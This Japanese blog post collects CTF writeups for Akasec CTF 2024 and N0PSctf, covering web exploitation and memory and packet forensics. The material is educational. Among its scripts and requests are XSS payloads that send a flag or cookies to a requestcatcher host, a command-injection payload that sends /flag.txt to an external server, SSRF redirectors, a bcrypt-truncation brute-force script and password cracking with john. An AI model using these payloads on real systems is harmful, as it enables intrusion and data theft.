はまやんはまやんはまやん

hamayanhamayan's blog

Akasec CTF 2024 Writeups

https://ctftime.org/event/2222

[Web] Proxy For Life

ソースコード有り。フラグを確認するとここにある。

func flagHandler(w http.ResponseWriter, r *http.Request) {
    args := os.Args
    flag := args[1]
    if 1 == 0 { // can you beat this :) !?
        fmt.Fprint(w, flag)
    } else {
        fmt.Fprint(w, "Nahhhhhhh")
    }
}

これはさすがに突破できないか笑…特筆すべき所として、引数でフラグが与えられているのがやや珍しい。他を見てみる。

func indexHandler(w http.ResponseWriter, r *http.Request) {
    if r.Method == http.MethodPost {
        config := safeurl.GetConfigBuilder().
            Build()

        client := safeurl.Client(config)

        url := r.FormValue("url")

        _, err := client.Get(url)
        if err != nil {
            renderTemplate(w, "index", map[string]string{"error": "The URL you entered is dangerous and not allowed."})
            fmt.Println(err)
            return
        }

        resp, err := http.Get(url)
        if err != nil {
            fmt.Println(err)
            return
        }
        defer resp.Body.Close()

        body, _ := io.ReadAll(resp.Body)
        renderTemplate(w, "index", map[string]interface{}{"result": template.HTML(body)})
        return
    }

    renderTemplate(w, "index", nil)
}

safeurlを使ってurlを検証して使っている。公式サイトの使い方を見るとclient.Getで内容を取得して使用することができるのだが、それは使わず、検証後はhttp.Getを使ってurlを開いている。この差が気になるので色々考えると、DNS Rebindingのような回避方法を思いつく。リダイレクタを用意して、その応答を「何もしない200応答」と「本当にアクセスしたい先に302応答でリダイレクト」に交互に返すようにすれば、client.Get(url)による検証時は「何もしない200応答」で検証を回避でき、2回目のhttp.Get(url)で使うときは、本当にアクセスしたい先を使うことができる。

問題はどこにアクセスさせるかであるが、file://は使えないので代わりを探す必要がある。コードを見返すとimportで_ "net/http/pprof"というのが定義されていた。公式ドキュメントを見ると、エンドポイントが追加されるみたい。/debug/pprof/にアクセスしてみると色々出てきた。cmdlineが使えそうなので、/debug/pprof/cmdline?debug=1にアクセスするとフラグ獲得。直接アクセスすることができてしまったが、恐らく上のリダイレクタを使って内部から読み込むのが想定なのだろう。

想像する想定解では以下を動かして交互にリダイレクト先を入れ替えるリダイレクタを使うことで、検証を回避し、pprofのcmdlineを取得する。

const express = require('express')
const app = express()
const port = 3000

let switchFlag = 0;

app.get('/', (req, res) => {
    if (switchFlag == 0) {
        res.send('Hello World!');
        switchFlag = 1;
    } else {
        res.redirect('http://localhost:1337/debug/pprof/cmdline');
        switchFlag = 0;
    }
});

app.listen(port, () => {
  console.log(`Example app listening on port ${port}`)
});

npm i expressしてnode redirector.jsで起動、/opt/ngrok http 3000でngrok用意して、URLを渡せばフラグが得られる。

[Web] Upload

ソースコード有り。admin botも与えられている。フラグの場所を確認すると以下にあった。admin botGET /flagをした結果を取得するとフラグが手に入る。

app.get('/flag', (req, res) => {
  let ip = req.connection.remoteAddress;
  if (ip === '127.0.0.1') {
    res.json({ flag: 'AKASEC{FAKE_FLAG}' });
  } else {
    res.status(403).json({ error: 'Access denied' });
  }
});

XSSを探すとアップロード機能が悪用でき、XSSにつなげることができた。アップロードでは以下のようにPDFファイルのみを受け付ける検証が入っていた。

const upload = multer({ 
  storage: storage,
  fileFilter: (req, file, cb) => {
    if (file.mimetype == "application/pdf") {
      cb(null, true);
    } else {
      cb(null, false);
      return cb(new Error('Only .pdf format allowed!'));
    }
  }
});

しかし、この部分はRequestのContent-Typeを見ているだけなので、中身が何であれ、このmimetypeを指定してやれば検証は通すことができる。よって、ログイン後、以下のようにHTMLファイルをアップロードしてやろう。

POST /upload HTTP/2
Host: [redacted].app
Cookie: connect.sid=s%3AoMaH-YDrFmRRDmGhyR80uCYrW6GV8cHt.mgcA5DsSrbFv91Wb5cg5ejn1YOhWrl1YVaiTF4WSr5U
Content-Length: 366
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBy4h95YFuD8HRi9f

------WebKitFormBoundaryBy4h95YFuD8HRi9f
Content-Disposition: form-data; name="file"; filename="fsdkasjireajkfsadjirejrk.html"
Content-Type: application/pdf

<script>fetch('/flag').then(e=>e.text()).then(e=>{fetch('https://[yours].requestcatcher.com/post', { method : 'post', body: e })})</script>
------WebKitFormBoundaryBy4h95YFuD8HRi9f--

すると/view/file-1717850909954.htmlみたいな感じでリダイレクトされるが、view経由では発動しないので直接開く。/uploads/file-1717850909954.htmlとするとXSS発動する。これをadmin botに送ればフラグ獲得。想定解はCVE-2024-4367XSSする。

[Web] HackerCommunity

ソースコード有り。rubyのアプリケーションが与えられる。ファイル量は多いが読むべきファイルはそれほど多くない。フラグの場所はusers_controller.rbにある。

class UsersController < ApplicationController
  before_action :restrict_access

  def latest
    @users = User.order(created_at: :desc).limit(10)
    render json: @users
  end

  def flag
    render plain: File.open("/rails/flag.txt").read
  end

  private
  def restrict_access
    render plain: "Access Denied", status: :forbidden unless request.env['REMOTE_ADDR'] == '127.0.0.1'
  end
end

これはroutes.rbより/flagで到達可能であることが分かる。実際に行ってみると、Access Deniedと言われた。これも以下に書いてあるフィルタリングが効いているからで、127.0.0.1からアクセスしないと開くことができない。これをうまくやれそうな所を探すと、home_controller.rbが気になる。

class HomeController < ApplicationController
  def index
    if session[:user_id]
      @username = User.find_by(id: session[:user_id]).username
      if User.find_by(id: session[:user_id]).admin?
        begin
          response = HTTP.follow.get(users_latest_url)
          @users = JSON.parse(response.body)
        rescue Exception => e
          render plain: "Error: #{e}", status: 500
        end
      else
        @users = User.order(created_at: :desc).limit(5).as_json
      end
    else
      redirect_to(join_url)
    end
  end
end

まずは、adminであるユーザーを作り出す必要がある。join_controller.rbを見ると、入力が直接入れ込まれている。

class JoinController < ApplicationController
  def index
    redirect_to home_path if session[:user_id]
  end

  def create
    redirect_to home_path if session[:user_id]
    begin
      @user = User.new(user_params)
      if @user.save
        session[:user_id] = @user.id
        redirect_to home_path
      else
        render :index
      end
    rescue ActiveModel::UnknownAttributeError => e
        render plain: e, status: :forbidden
    end
  end

  private
  def user_params
    params.delete_if {|k,v| !k.is_a?(String) || !v.is_a?(String) || !k.ascii_only? || ["authenticity_token", "controller", "action", "admin"].include?(k)}.permit!
  end
end

これをみるとadmin=1みたいなものを入れればよさそうだが、user_params内部のフィルタリングで弾かれてしまう。どうしようかなーと考えていたが、log/development.logというファイルにadmin(1i)=1という感じに試しているログが見つかり、実際にやってみると成功する。discordを見るとこれは出題ミスらしい。これを1から見つけるのは結構きついというか、ここがこの問題の最難関な気もするが…とりあえずadmin権限を取得した。これはmultiparameterというものらしい。

response = HTTP.follow.get(users_latest_url)とあるが、これはヘルパーメソッドが効いていて/users/latestを指している。ここを乗っ取りたいな…と思いアイデアを試すとHostヘッダーの書き換えでホスト部分がハイジャックできることが分かった。

GET /home HTTP/1.1
Host: [yours].requestcatcher.com
Cookie: _hacker_community_session=WvTey6iTFpRWbL6lZYRu0GmVG49lZ1YrJOTOd56N8Mnr1zrE4j79qIehAxZDhMmsPPH22HYQh77lfuEsSCJNXFc2npvKOmuzv2fscNuTv8X0E9iEns2gSE5o4WU8d79x7ib%2FObfaHheKgvWjE9Evfv4xZpcCnuBFFWSepnjoOMJOZ7lEw6erF%2FCfHMnDzx%2FDHhepbm%2Bb0atnoFOTIPqFEfeFt7Bcm6Hx6sHXLgQ%2B25ETHuVrTP7Lx%2F95%2BhUdjzjr%2FYVgFIGSmfBvAR5%2FmuZK%2BkOSSSDSP3iPQOYXaQtSksg%2FRhndy7t8riPrPKD4iJwRWWUcKSA%3D--IByc%2BT4BNk9E4CEq--2H1mwFZ45BNCcVRyVCIX1w%3D%3D
Connection: keep-alive

こんな感じでHost部分を変更してアクセスしてやると、requestcatcherでアクセスを受信した。ok。リダイレクトで/flagに飛ぶようにしてやろう。このように用意してnpm i expressしてnode redirector.jsで起動、/opt/ngrok http 3000でngrok用意する。

const express = require('express')
const app = express()
const port = 3000

app.get('/users/latest', (req, res) => {
  res.redirect('http://localhost:3000/flag');
})

app.listen(port, () => {
  console.log(`Example app listening on port ${port}`)
})

ngrokのエンドポイントを使って以下のようにリクエストしてやるとエラー経由でフラグを取得することができる。

GET /home HTTP/1.1
Host: 48eb-2-56-252-141.ngrok-free.app
Cookie: _hacker_community_session=WvTey6iTFpRWbL6lZYRu0GmVG49lZ1YrJOTOd56N8Mnr1zrE4j79qIehAxZDhMmsPPH22HYQh77lfuEsSCJNXFc2npvKOmuzv2fscNuTv8X0E9iEns2gSE5o4WU8d79x7ib%2FObfaHheKgvWjE9Evfv4xZpcCnuBFFWSepnjoOMJOZ7lEw6erF%2FCfHMnDzx%2FDHhepbm%2Bb0atnoFOTIPqFEfeFt7Bcm6Hx6sHXLgQ%2B25ETHuVrTP7Lx%2F95%2BhUdjzjr%2FYVgFIGSmfBvAR5%2FmuZK%2BkOSSSDSP3iPQOYXaQtSksg%2FRhndy7t8riPrPKD4iJwRWWUcKSA%3D--IByc%2BT4BNk9E4CEq--2H1mwFZ45BNCcVRyVCIX1w%3D%3D
Connection: keep-alive

とするとError: unexpected token at 'AKASEC{■■■■■■■■■■■■■■■}'と応答がある。

[Web] Rusty Road 解けなかった

ソースコード有り。どう見ても以下の処理が怪しいが、攻撃方法が分からない…

static ref PASSWORD: String = "REDACTED".to_string();

…

fn subs(input: String) -> String {
    input.replace("PASSWORD", &PASSWORD)
}

…

#[post("/register", data = "<form>")]
fn register(form: Form<RegisterForm>, cookies: &CookieJar<'_>) -> Redirect {

    let username = subs(form.username.clone());
    if username.contains("admin") || username.contains(PASSWORD.as_str()) {
        return Redirect::to("/register");
    }

    let password = subs(form.password.clone());
    let password = hash_password(&password);

    println!("{:?}, {:?}", username, password);
    add_user(&username, &password);

    let claims = Claims {
        username: form.username.clone(),
        user_type: "user".to_string(),
        exp: 10000000000,
    };
    let token = encode(&Header::default(), &claims, &EncodingKey::from_secret(SECRET.as_ref())).unwrap();

    cookies.add(Cookie::new("token", token.clone()));

    Redirect::to("/")
}

さっぱり分からん… コンテスト終了後、discordで以下の投稿を見つける。

bcrypt truncation + RCE using {'raw': 'asdf && node_reverse_shell | bun run - '}

bcrypt truncation 😊

bcrypt truncationを使って管理者パスワードを特定する。

use bcrypt::{hash, verify, DEFAULT_COST};

fn hash_password(password: &str) -> String {
    hash(password, DEFAULT_COST).unwrap()
}

以上のようにbcryptでパスワードをハッシュ化している。bcryptは72bytesを超えると72bytesに丸められる制約があり、これを使って管理者パスワードを特定する。register関数の実装を見ると、PASSWORDの文字列が入っていると管理者パスワードに書き換えられる。ここで'a'*71+'PASSWORD'というパスワードを入力すると、'a'*71+(管理者パスワード)に書き変わり、この状態でbcryptに通すと72bytes制限に引っ掛かり、実際のハッシュ化は'a'*71+(管理者パスワードの1文字目)となる。この状態でユーザーを作った後、パスワードを'a'*71+(任意の文字)で全探索し、ログインできるものを探せば管理者パスワードの1文字目を特定することができる。以下のようなスクリプトでパスワードの特定が可能。

import requests, random, string

BASE = 'http://localhost:1337'

admin_password = ''
for _ in range(10):
    username = "".join(random.choices(string.ascii_letters, k=8))
    password = 'a'*(71 - len(admin_password)) + 'PASSWORD'
    requests.post(BASE + '/register', data={'username':username, 'password':password})

    ok = False
    for c in string.printable:
        chall = 'a'*(71 - len(admin_password)) + admin_password + c
        loc = requests.post(BASE + '/login', data={'username':username, 'password':chall}, allow_redirects=False).headers.get('Location')
        if loc == '/':
            admin_password += c
            break
    print(admin_password)

コマンドインジェクション(うまくいってないけど…)

管理者パスワードを手に入れた後は以下のエンドポイントを使い、バックエンドにアクセスする。

#[post("/log", format = "json", data = "<log_data>")]
async fn admin_log(cookies: &CookieJar<'_>, log_data: Json<Value>) -> Json<String> {
    let token = cookies.get("token").map(|cookie| cookie.value()).unwrap_or("");
    match validate_token(token) {
        Ok(data) => {
            if data.claims.user_type == "admin" {
                let client = reqwest::Client::new();
                let res = client.post("http://adminlogging:3000/log")
                    .header(header::AUTHORIZATION, API_KEY.as_str())
                    .json(&log_data.into_inner())
                    .send()
                    .await
                    .expect("Failed to send request");

                if res.status().is_success() {
                    Json("{ \"status\": \"Logged successfully\" }".to_string())
                } else {
                    Json("{ \"status\": \"Failed to log\" }".to_string())
                }
            } else {
                Json("{ \"status\": \"Access Denied\" }".to_string())
            }
        },
        Err(_) => Json("{ \"status\": \"Unauthorized\" }".to_string()),
    }
}

バックエンドはBunで動いており、以下にコマンドインジェクションポイントがある。

if (url.pathname === "/log") {
    await $`logger ${body.message}`;
    return new Response("Logged!", { status: 200 });
}

単純なコマンドインジェクションだが、環境にcurlwgetもないので、色々頑張る必要がある。discordで見た解法ではRCE using {'raw': 'asdf && node_reverse_shell | bun run - '}のように入っているbunを活用している。

{"message": "&& echo 'const response = await fetch(\"https://[yours].requestcatcher.com/\" + require(\"fs\").readFileSync(\"/flag.txt\").toString(\"utf8\"));' | bun run - "}

これを送ればうまくいきそうだが、成功しない。分からんけど、眠すぎるので一旦ここでストップ。

[Web] HackerNickName 解けなかった

ソースコード有り。javaで作られたサイトが与えられる。復習すると初見の技術があってすごく良かった。解いた人の解説はこことかこことかを見るといい。

@JacksonInjectに"": {"admin": True}で外部から差し込む

    @JsonCreator
    public Hacker(@JsonProperty(value = "firstName", required = true) String firstName,
                  @JsonProperty(value = "lastName", required = true) String lastName,
                  @JsonProperty(value = "favouriteCategory", required = true) String favouriteCategory,
                  @JacksonInject UserRole hackerRole) {
        this.firstName = firstName;
        this.lastName = lastName;
        this.favouriteCategory = favouriteCategory;
        this.role = hackerRole;
    }

こういう定義になっていてhackerRoleは外部から差し込めないのが想定だが、"": {"admin": True}とkeyを空文字列にすれば差し込める。

curlのURL globbingを使ったフィルター回避

なんと、curlのURL globbingを使えば以下をうまく回避しながら任意のホストに接続が可能。

URL parsedUrl;
try {
    parsedUrl = new URL(url);
} catch (MalformedURLException e) {
    return ResponseEntity.status(401).body(e.getMessage());
}
if (!parsedUrl.getProtocol().equals("http") || !parsedUrl.getHost().equals("nicknameservice") || parsedUrl.getPort() != 5000)
    return ResponseEntity.status(401).body("Invalid URL");
ProcessBuilder pb = new ProcessBuilder("curl", "-f", url, "-o", nicknameService.filePath.toString());

[Forensics] Portugal

メモリダンプが与えられる。stringsコマンドをして眺めるとWindows向けのようだ。Volatility 3を使って色々探索してみる。

$ python3 ~/.opt/volatility3/vol.py -f memdump1.mem windows.pstree
…
464 404 winlogon.exe    0x8f289c40  7   -   1   False   2024-05-28 10:35:35.000000  N/A
* 720   464 dwm.exe 0x8f369040  13  -   1   False   2024-05-28 10:35:35.000000  N/A
* 2160  464 userinit.exe    0x9a0b2040  0   -   1   False   2024-05-28 10:35:37.000000  2024-05-28 10:36:04.000000 
** 2228 2160    explorer.exe    0x87a0ec40  64  -   1   False   2024-05-28 10:35:37.000000  N/A
*** 800 2228    FTK Imager.exe  0x8f213c00  22  -   1   False   2024-05-28 10:35:55.000000  N/A
*** 1240    2228    chrome.exe  0x9d7d7c40  40  -   1   False   2024-05-28 10:35:56.000000  N/A
**** 4900   1240    chrome.exe  0x815e66c0  15  -   1   False   2024-05-28 10:36:15.000000  N/A
**** 4104   1240    chrome.exe  0x89928480  16  -   1   False   2024-05-28 10:35:58.000000  N/A
**** 4968   1240    chrome.exe  0x9d63e040  15  -   1   False   2024-05-28 10:36:16.000000  N/A
**** 2316   1240    chrome.exe  0x9d787340  14  -   1   False   2024-05-28 10:35:58.000000  N/A
**** 4112   1240    chrome.exe  0x9d7df900  7   -   1   False   2024-05-28 10:35:58.000000  N/A
**** 4752   1240    chrome.exe  0x9d7df300  7   -   1   False   2024-05-28 10:36:03.000000  N/A
**** 1272   1240    chrome.exe  0xa2ec2840  8   -   1   False   2024-05-28 10:35:56.000000  N/A
*** 728 2228    OneDrive.exe    0xa2e47c40  22  -   1   False   2024-05-28 10:35:55.000000  N/A

chromeが動いている。問題文にI'm sure that someone took advantage of the opportunity and was searching for something.ともあるのでブラウザフォレンジックしてみる。Historyファイルあるかなーと探すとある。

$ python3 ~/.opt/volatility3/vol.py -f memdump1.mem windows.filescan
…
0x81595680  \Users\d33znu75\AppData\Local\Google\Chrome\User Data\Default\History   128
…
$ python3 ~/.opt/volatility3/vol.py -f memdump1.mem windows.dumpfiles --virtaddr 0x81595680
Volatility 3 Framework 2.4.1
Progress:  100.00               PDB scanning finished
Cache   FileObject      FileName        Result

DataSectionObject       0x81595680      History file.0x81595680.0x98570f60.DataSectionObject.History.dat
SharedCacheMap  0x81595680      History file.0x81595680.0xa2ee6968.SharedCacheMap.History.vacb

sqlitebrowserで開こうとするがうまく開けない。stringsコマンドを使って眺めてみると良い感じの履歴か何かが見つかる。

18- h_)
21- 0r(
19- h1'
20- st&
22- y}%
17- rc$
look !! its here yay*
16- 34
15- _s
14- m3
13- r0
12- ch
11- r_
10- f0
9- Y_
8- 1T
7- 1L
6- 4T
5- 0L
4- {V
3- EC
2- AS
1- AK
…

眺めるとこういう感じの履歴が残っていて、1からつなぐとAKASEC{Vのようにフラグっぽくなってきた。これを全部収集してつなげるとフラグが得られる。

[Forensics] Sussy

パケットキャプチャが与えられる。DNSを眺めるとakasec.maサブドメインでhex列が埋め込まれた通信が大量に出ている。 サブドメインの形で情報漏洩している感じがする。

"3","172.20.10.1","53","172.20.10.3","60691","DNS","170","","","377abcaf271c000428d5bea6f0320000000000006200000000.akasec.ma","Standard query response 0x9fb3 No such name AAAA 377abcaf271c000428d5bea6f0320000000000006200000000.akasec.ma SOA c.tld.ma"
"32","172.20.10.1","53","172.20.10.3","60637","DNS","170","","","000000afc0b3fdf3a28da5f0a6ecb43084ad4350bc3b867658.akasec.ma","Standard query response 0x4daa No such name AAAA 000000afc0b3fdf3a28da5f0a6ecb43084ad4350bc3b867658.akasec.ma SOA c.tld.ma"
"199","172.20.10.1","53","172.20.10.3","40079","DNS","170","","","70b38e2640f0c586065f13ca54f177fbd45f4191f198d93d67.akasec.ma","Standard query response 0xdc15 No such name AAAA 70b38e2640f0c586065f13ca54f177fbd45f4191f198d93d67.akasec.ma SOA c.tld.ma"
"310","172.20.10.1","53","172.20.10.3","47170","DNS","170","","","3855d5eb988ad41fdf98e8a08490079d964add15a7b5c70510.akasec.ma","Standard query response 0xfabe No such name AAAA 3855d5eb988ad41fdf98e8a08490079d964add15a7b5c70510.akasec.ma SOA c.tld.ma"
"586","172.20.10.1","53","172.20.10.3","54434","DNS","170","","","9d6ecc7ac1f3c621b0eb9fedd7a8200c52cc2409e6dc7a604b.akasec.ma","Standard query response 0x0507 No such name AAAA 9d6ecc7ac1f3c621b0eb9fedd7a8200c52cc2409e6dc7a604b.akasec.ma SOA c.tld.ma"

時系列順に全部持って来きて、Hex to binすると7zip形式の圧縮ファイルだった。解凍しようとするが暗号化されている。john the ripperとrockyouでクラック可能。

$ 7z2john encoded.bin > h
ATTENTION: the hashes might contain sensitive encrypted data. Be careful when sharing or posting these hashes

$ john --wordlist=/usr/share/wordlists/rockyou.txt h
Using default input encoding: UTF-8
Loaded 1 password hash (7z, 7-Zip archive encryption [SHA256 512/512 AVX512BW 16x AES])
Cost 1 (iteration count) is 524288 for all loaded hashes
Cost 2 (padding size) is 5 for all loaded hashes
Cost 3 (compression type) is 2 for all loaded hashes
Cost 4 (data length) is 13035 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
hellokitty       (encoded.bin)     
1g 0:00:00:02 DONE (2024-06-08 17:25) 0.4166g/s 106.6p/s 106.6c/s 106.6C/s carolina..freedom
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

解凍するとflagというPDFファイルが入っている。これもパスワードがかかっている。これも同様にjohn the ripperとrockyouでクラック可能。

$ pdf2john flag > h2

$ john --wordlist=/usr/share/wordlists/rockyou.txt h2
Using default input encoding: UTF-8
Loaded 1 password hash (PDF [MD5 SHA2 RC4/AES 32/64])
Cost 1 (revision) is 3 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
meow             (flag)     
1g 0:00:00:00 DONE (2024-06-08 17:26) 3.846g/s 124061p/s 124061c/s 124061C/s nuria..bheibhie
Use the "--show --format=PDF" options to display all of the cracked passwords reliably
Session completed.

これで開くとフラグが書いてある。

[Forensics] Snooz

メモリダンプとパケットキャプチャが与えられる。まずは、メモリダンプをstringsするとWindowsのものであることが分かるので、Volatility3で解析を回して眺める。

windows.netscan
0xa384284931d0  TCPv4   0.0.0.0 1337    0.0.0.0 0   LISTENING   3200    snooz.exe   2024-06-03 05:57:13.000000 

windows.pstree
* 3264  612 userinit.exe    0xa38427e78300  0   -   1   False   2024-06-03 05:52:34.000000  2024-06-03 05:53:02.000000 
** 3320 3264    explorer.exe    0xa38427da5080  56  -   1   False   2024-06-03 05:52:34.000000  N/A
*** 4512    3320    cmd.exe 0xa38427f52080  1   -   1   False   2024-06-03 05:56:47.000000  N/A
**** 80 4512    conhost.exe 0xa38428f61080  5   -   1   False   2024-06-03 05:56:47.000000  N/A
**** 3200   4512    snooz.exe   0xa3842881f2c0  3   -   1   False   2024-06-03 05:57:13.000000  N/A
*** 5496    3320    Taskmgr.exe 0xa384290384c0  0   -   1   False   2024-06-03 05:58:50.000000  2024-06-03 05:59:17.000000 
**** 3276   5496    FTK Imager.exe  0xa3842257e4c0  19  -   1   True    2024-06-03 05:59:06.000000  N/A
*** 5812    3320    OneDrive.exe    0xa38428db23c0  21  -   1   False   2024-06-03 05:52:59.000000  N/A
*** 5844    3320    msedge.exe  0xa38428dd4080  42  -   1   False   2024-06-03 05:52:59.000000  N/A
**** 3040   5844    msedge.exe  0xa38428fd1080  15  -   1   False   2024-06-03 05:53:05.000000  N/A
**** 2872   5844    msedge.exe  0xa38428bea080  8   -   1   False   2024-06-03 05:53:06.000000  N/A
**** 5924   5844    msedge.exe  0xa38428c514c0  7   -   1   False   2024-06-03 05:53:02.000000  N/A
**** 76 5844    msedge.exe  0xa38428c450c0  17  -   1   False   2024-06-03 05:53:05.000000  N/A
*** 5716    3320    SecurityHealth  0xa38428db0340  1   -   1   False   2024-06-03 05:52:58.000000  N/A
*** 3608    3320    notepad.exe 0xa38425842340  1   -   1   False   2024-06-03 05:55:17.000000  N/A

とりあえず、snooz.exeというのが動いていて1337でリッスンしている。パケットキャプチャを見てみると、1337/tcpへ接続している通信ログから攻撃者のIPアドレス192.168.117.10であることが分かる。被害者端末は192.168.117.12ip.addr == 192.168.117.10でフィルターをかけて眺めてみよう。

JST
Jun  3, 2024 21:19:42 | No.18   | VictimからAttacker:8000宛に`GET /`。ディレクトリリスティング応答がある。攻撃者が既に侵入済みで追加データを持ってくるためだろう
Jun  3, 2024 21:19:52 | No.47   | VictimからAttacker:8000宛に`GET /download.dat`。base64エンコードされた何かを返している。
Jun  3, 2024 21:22:07 | No.119  | AttackerからVictim:1337へ通信が発生 (1)
Jun  3, 2024 21:22:56 | No.158  | AttackerからVictim:1337へ通信が発生 (2)
Jun  3, 2024 21:23:19 | No.182  | VictimからAttacker:8000宛に`GET /Win64OpenSSL_Light-3_3_0.exe`
Jun  3, 2024 21:23:22 | No.5452 | VictimからAttacker:8000宛に`GET /Shaw%20Z.%20-%20Learn%20Python%20the%20hard%20way-lulu.com%20%282010%29.pdf`
Jun  3, 2024 21:23:53 | No.6365 | AttackerからVictim:1337へ通信が発生 (3)
Jun  3, 2024 21:25:19 | No.6402 | AttackerからVictim:1337へ通信が発生 (4)
Jun  3, 2024 21:25:46 | No.6420 | AttackerからVictim:1337へ通信が発生 (5)

こんな感じになっていた。download.datを持ってきて、base64デコードするとfileコマンドでPE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows, 3 sectionsとなるバイナリが得られた。Monoであることを感謝しつつ、dnSpyで開く。snooz.exeだった。難読化されているのでコツコツ戻していったが、受け取った文字列を復号化してConsole.WriteLineで出力しているだけだったので、実際に動かして復号化することにした。

AttackerからVictim:1337へ通信が発生 (1)
00000000  12 c6 b9 ac fc 4f 81 81  0d d2 1f 65 2b bf d6 af   .....O.. ...e+...
->
echo -n -e "\x12\xc6\xb9\xac\xfc\x4f\x81\x81\x\x0d\xd2\x1f\x65\x2b\xbf\xd6\xaf" | nc 169.254.182.151 1337
->
Error

AttackerからVictim:1337へ通信が発生 (2)
00000000  12 c6 b9 ac fc 4f 81 81  0d d2 1f 65 2b bf d6 af   .....O.. ...e+...
->
echo -n -e "\x12\xc6\xb9\xac\xfc\x4f\x81\x81\x\x0d\xd2\x1f\x65\x2b\xbf\xd6\xaf" | nc 169.254.182.151 1337
->
Error

AttackerからVictim:1337へ通信が発生 (3)
00000000  6f 31 71 b1 be 6a e8 6b  05 8c be e8 88 7f 29 a3   o1q..j.k ......).
->
echo -n -e "\x6f\x31\x71\xb1\xbe\x6a\xe8\x6b\x05\x8c\xbe\xe8\x88\x7f\x29\xa3" | nc 169.254.182.151 1337
->
Decrypted message: Yo snooz

AttackerからVictim:1337へ通信が発生 (4)
00000000  61 d2 1e f8 f1 2f f0 59  4c 4d 21 7a 3f ee f8 a7   a..../.Y LM!z?...
00000010  d9 93 e4 c7 bb 1f ea 53  1a f0 e6 25 9c 4b 46 66   .......S ...%.KFf
00000020  29 e8 91 09 ed 1d 5b a3  f3 53 4d ac c1 71 26 66   ).....[. .SM..q&f
00000030  13 ae 8d 24 b7 3b ef 16  42 6d 07 9d d1 d6 30 01   ...$.;.. Bm....0.
00000040  18 99 96 2b d6 e1 cf 2e  57 4e bc e9 cc 22 4f 62   ...+.... WN..."Ob
00000050  6f c5 8f ea 72 ad d0 be  45 4a b6 29 4f e2 df 11   o...r... EJ.)O...
00000060  9c ce 12 84 44 0e 40 9f  c0 7a a4 82 de 82 a1 b2   ....D.@. .z......
->
echo -n -e "\x61\xd2\x1e\xf8\xf1\x2f\xf0\x59\x4c\x4d\x21\x7a\x3f\xee\xf8\xa7\xd9\x93\xe4\xc7\xbb\x1f\xea\x53\x1a\xf0\xe6\x25\x9c\x4b\x46\x66\x29\xe8\x91\x09\xed\x1d\x5b\xa3\xf3\x53\x4d\xac\xc1\x71\x26\x66\x13\xae\x8d\x24\xb7\x3b\xef\x16\x42\x6d\x07\x9d\xd1\xd6\x30\x01\x18\x99\x96\x2b\xd6\xe1\xcf\x2e\x57\x4e\xbc\xe9\xcc\x22\x4f\x62\x6f\xc5\x8f\xea\x72\xad\xd0\xbe\x45\x4a\xb6\x29\x4f\xe2\xdf\x11\x9c\xce\x12\x84\x44\x0e\x40\x9f\xc0\x7a\xa4\x82\xde\x82\xa1\xb2" | nc 169.254.182.151 1337
->
Decrypted message: Got the new pass to open the pastecode. It's 5n00zm3m3rbr0z now. Ditch the old one. Keep it on the down-low.

AttackerからVictim:1337へ通信が発生 (5)
00000000  0e 44 9b 01 33 ee d2 e0  0a 24 05 69 c4 65 0f fa   .D..3... .$.i.e..
->
echo -n -e "\x0e\x44\x9b\x01\x33\xee\xd2\xe0\x0a\x24\x05\x69\xc4\x65\x0f\xfa" | nc 169.254.182.151 1337
->
Decrypted message: good luck

んー、5n00zm3m3rbr0zというパスワードが得られた。pastecodeというのはどこにあるんだろう。メモリダンプにnotepad.exeがあったので、このプロセスメモリを気合で確認すると見つかる。

$ python3 ~/.opt/volatility3/vol.py -f memdump.mem windows.memmap.Memmap --pid 3608 --dump
$ strings -e l pid.3608.dmp | grep pastecode
https://pastecode.io/s/9oz9u9h4

得られたパスワードを使うと開くことができ、4in6というbase64エンコード物が得られる。base64デコードしてみるとパスワード付きのzipファイルだった。

$ file 4in6.bin
4in6.bin: Zip archive data, at least v5.1 to extract, compression method=AES Encrypted

John The Ripperとrockyouでクラックを試すがクラックできない。パスワードどこかに無いか探すと、先ほどのnotepad.exeのメモリダンプに含まれていた。

This is the password for the zip containing all the importante data : Samaqlo@Akasex777

これを使えば解凍可能。flag.jpgを見るがフラグが無い。色々ステガノを頑張るとsteghideとパスワード総当たりでファイルが抽出できた。やっとフラグ獲得。

$ docker run --rm -it -v "$(pwd):/steg" rickdejager/stegseek flag.jpg rockyou.txt
StegSeek 0.6 - https://github.com/RickdeJager/StegSeek

[i] Found passphrase: "palestine4life"    
[i] Original filename: "flag.txt".
[i] Extracting to "flag.jpg.out".


$ cat flag.jpg.out
AKASEC{■■■■■■■■■■■■■■■}

N0PSctf Writeups

https://ctftime.org/event/2358

[Web] Web Cook

ソースコード無し。ユーザー名を入れるとCookieがもらえる。ユーザー名をaにするとeyJ1c2VybmFtZSI6ImEiLCJpc0FkbWluIjowfQ%3D%3Dがもらえる。 URLデコードしてBase64デコードすれば復元できそうで、できる。{"username":"a","isAdmin":0} こんな感じFrom_Base64('A-Za-z0-9%2B/%3D',true,false)&input=ZXlKMWMyVnlibUZ0WlNJNkltRWlMQ0pwYzBGa2JXbHVJam93ZlElM0QlM0Q)

ルールが分かれば改ざんができる。{"username":"a","isAdmin":1}をルールに従ってエンコードしてeyJ1c2VybmFtZSI6ImEiLCJpc0FkbWluIjoxfQ%3D%3Dにして、これをCookieに入れてサイトを見るとフラグが得られる。

[Web] Outsiders

ソースコード無し。サイトはYou come from the big outside, I don't trust you.と書かれた1ページのみ。サイトのソースコードにも気になる情報無し。guess問っぽいので色々考える。コメントから推測し、内部からのアクセスを装う方針が正解だった。HTTPリクエストヘッダーにX-Forwarded-For: 127.0.0.1を追加すればフラグがもらえる。つまり、以下のリクエストでフラグ獲得。

GET / HTTP/1.1
Host: nopsctf-outsiders.chals.io
X-Forwarded-For: 127.0.0.1

[Web] XSS Lab

ソースコード無し。XSSのpayloadを投げてcookieを抜いてくる問題。

XSS ME 1

Write a payload to be sent to the bot! Your goal is to steal his cookies.
For the first step, the payload is not filtered.

filteringされていないのでどんなpayloadでも良さそう。普通にscriptでまずは書いたがうまく動かなかったので、適当にimgタグを入れてちょっとだけ負荷を上げてやると得られた。

<img src="https://[yours].requestcatcher.com/test"><script>fetch('https://[yours].requestcatcher.com/flag', { method : 'post', body: document.cookie })</script>

